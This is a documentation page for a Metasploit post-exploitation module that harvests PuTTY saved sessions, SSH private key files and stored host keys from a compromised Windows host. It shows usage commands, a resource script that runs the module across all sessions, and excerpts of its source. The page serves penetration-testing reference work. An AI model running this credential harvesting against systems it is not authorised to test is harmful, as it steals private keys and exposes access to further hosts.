PuTTY Saved Sessions Enumeration Module - Metasploit


This page contains detailed information about how to use the post/windows/gather/enum_putty_saved_sessions metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: PuTTY Saved Sessions Enumeration Module
Module: post/windows/gather/enum_putty_saved_sessions
Source code: modules/post/windows/gather/enum_putty_saved_sessions.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session information from the registry. PuTTY is very configurable; some users may have configured saved sessions which could include a username, private key file to use when authenticating, host name etc. If a private key is configured, an attempt will be made to download and store it in loot. It will also record the SSH host keys which have been stored. These will be connections that the user has previously after accepting the host SSH fingerprint and therefore are of particular interest if they are within scope of a penetration test.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/enum_putty_saved_sessions

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/enum_putty_saved_sessions
msf post(enum_putty_saved_sessions) > show options
    ... show and set options ...
msf post(enum_putty_saved_sessions) > set SESSION session-id
msf post(enum_putty_saved_sessions) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/enum_putty_saved_sessions")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/enum_putty_saved_sessions post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/enum_putty_saved_sessions

msf6 post(windows/gather/enum_putty_saved_sessions) > show info

       Name: PuTTY Saved Sessions Enumeration Module
     Module: post/windows/gather/enum_putty_saved_sessions
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Stuart Morgan <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will identify whether Pageant (PuTTY Agent) is running 
  and obtain saved session information from the registry. PuTTY is 
  very configurable; some users may have configured saved sessions 
  which could include a username, private key file to use when 
  authenticating, host name etc. If a private key is configured, an 
  attempt will be made to download and store it in loot. It will also 
  record the SSH host keys which have been stored. These will be 
  connections that the user has previously after accepting the host 
  SSH fingerprint and therefore are of particular interest if they are 
  within scope of a penetration test.

Module Options

This is a complete list of options available in the windows/gather/enum_putty_saved_sessions post exploitation module:

msf6 post(windows/gather/enum_putty_saved_sessions) > show options

Module options (post/windows/gather/enum_putty_saved_sessions):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/enum_putty_saved_sessions post exploitation module:

msf6 post(windows/gather/enum_putty_saved_sessions) > show advanced

Module advanced options (post/windows/gather/enum_putty_saved_sessions):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/enum_putty_saved_sessions module can do:

msf6 post(windows/gather/enum_putty_saved_sessions) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/enum_putty_saved_sessions post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/enum_putty_saved_sessions) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to read PuTTY private key file for '<NAME>' (<FILENAME>)

Here is a relevant code snippet related to the "Unable to read PuTTY private key file for '<NAME>' (<FILENAME>)" error message:

204:	              private_key['Comment'] = rx[:comment]
205:	            end
206:	          end
207:	          private_key_summary << private_key
208:	        else
209:	          print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
210:	        end
211:	      else
212:	        print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
213:	      end
214:	    end

PuTTY private key file for '<NAME>' (<FILENAME>) could not be read.

Here is a relevant code snippet related to the "PuTTY private key file for '<NAME>' (<FILENAME>) could not be read." error message:

207:	          private_key_summary << private_key
208:	        else
209:	          print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
210:	        end
211:	      else
212:	        print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
213:	      end
214:	    end
215:	    private_key_summary
216:	  end
217:

No saved sessions found

Here is a relevant code snippet related to the "No saved sessions found" error message:

219:	  def run
220:	    # Look for saved sessions, break out if not.
221:	    print_status("Looking for saved PuTTY sessions")
222:	    saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")
223:	    if saved_sessions.nil? || saved_sessions.empty?
224:	      print_error('No saved sessions found')
225:	    else
226:	
227:	      # Tell the user how many sessions have been found (with correct English)
228:	      print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")
229:

No stored SSH host keys found

Here is a relevant code snippet related to the "No stored SSH host keys found" error message:

245:	    # Now search for SSH stored keys. These could be useful because it shows hosts that the user
246:	    # has previously connected to and accepted a key from.
247:	    print_status("Looking for previously stored SSH host key fingerprints")
248:	    stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")
249:	    if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?
250:	      print_error('No stored SSH host keys found')
251:	    else
252:	      # Tell the user how many sessions have been found (with correct English)
253:	      print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")
254:	
255:	      # Retrieve the saved session details & print them to the screen in a report

No stored key fingerprints found

Here is a relevant code snippet related to the "No stored key fingerprints found" error message:

254:	
255:	      # Retrieve the saved session details & print them to the screen in a report
256:	      print_status("Downloading stored key fingerprints...")
257:	      all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)
258:	      if all_stored_keys.nil? || all_stored_keys.empty?
259:	        print_error("No stored key fingerprints found")
260:	      else
261:	        display_stored_host_keys_report(all_stored_keys)
262:	      end
263:	    end
264:

Pageant is not running

Here is a relevant code snippet related to the "Pageant is not running" error message:

265:	    print_line # Just for readability
266:	
267:	    print_status("Looking for Pageant...")
268:	    hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant")
269:	    if hwnd['return']
270:	      print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")
271:	    else
272:	      print_error("Pageant is not running")
273:	    end
274:	  end
275:	end

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See Also

Check also the following modules related to this module:

Authors

  • Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>

Version

This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

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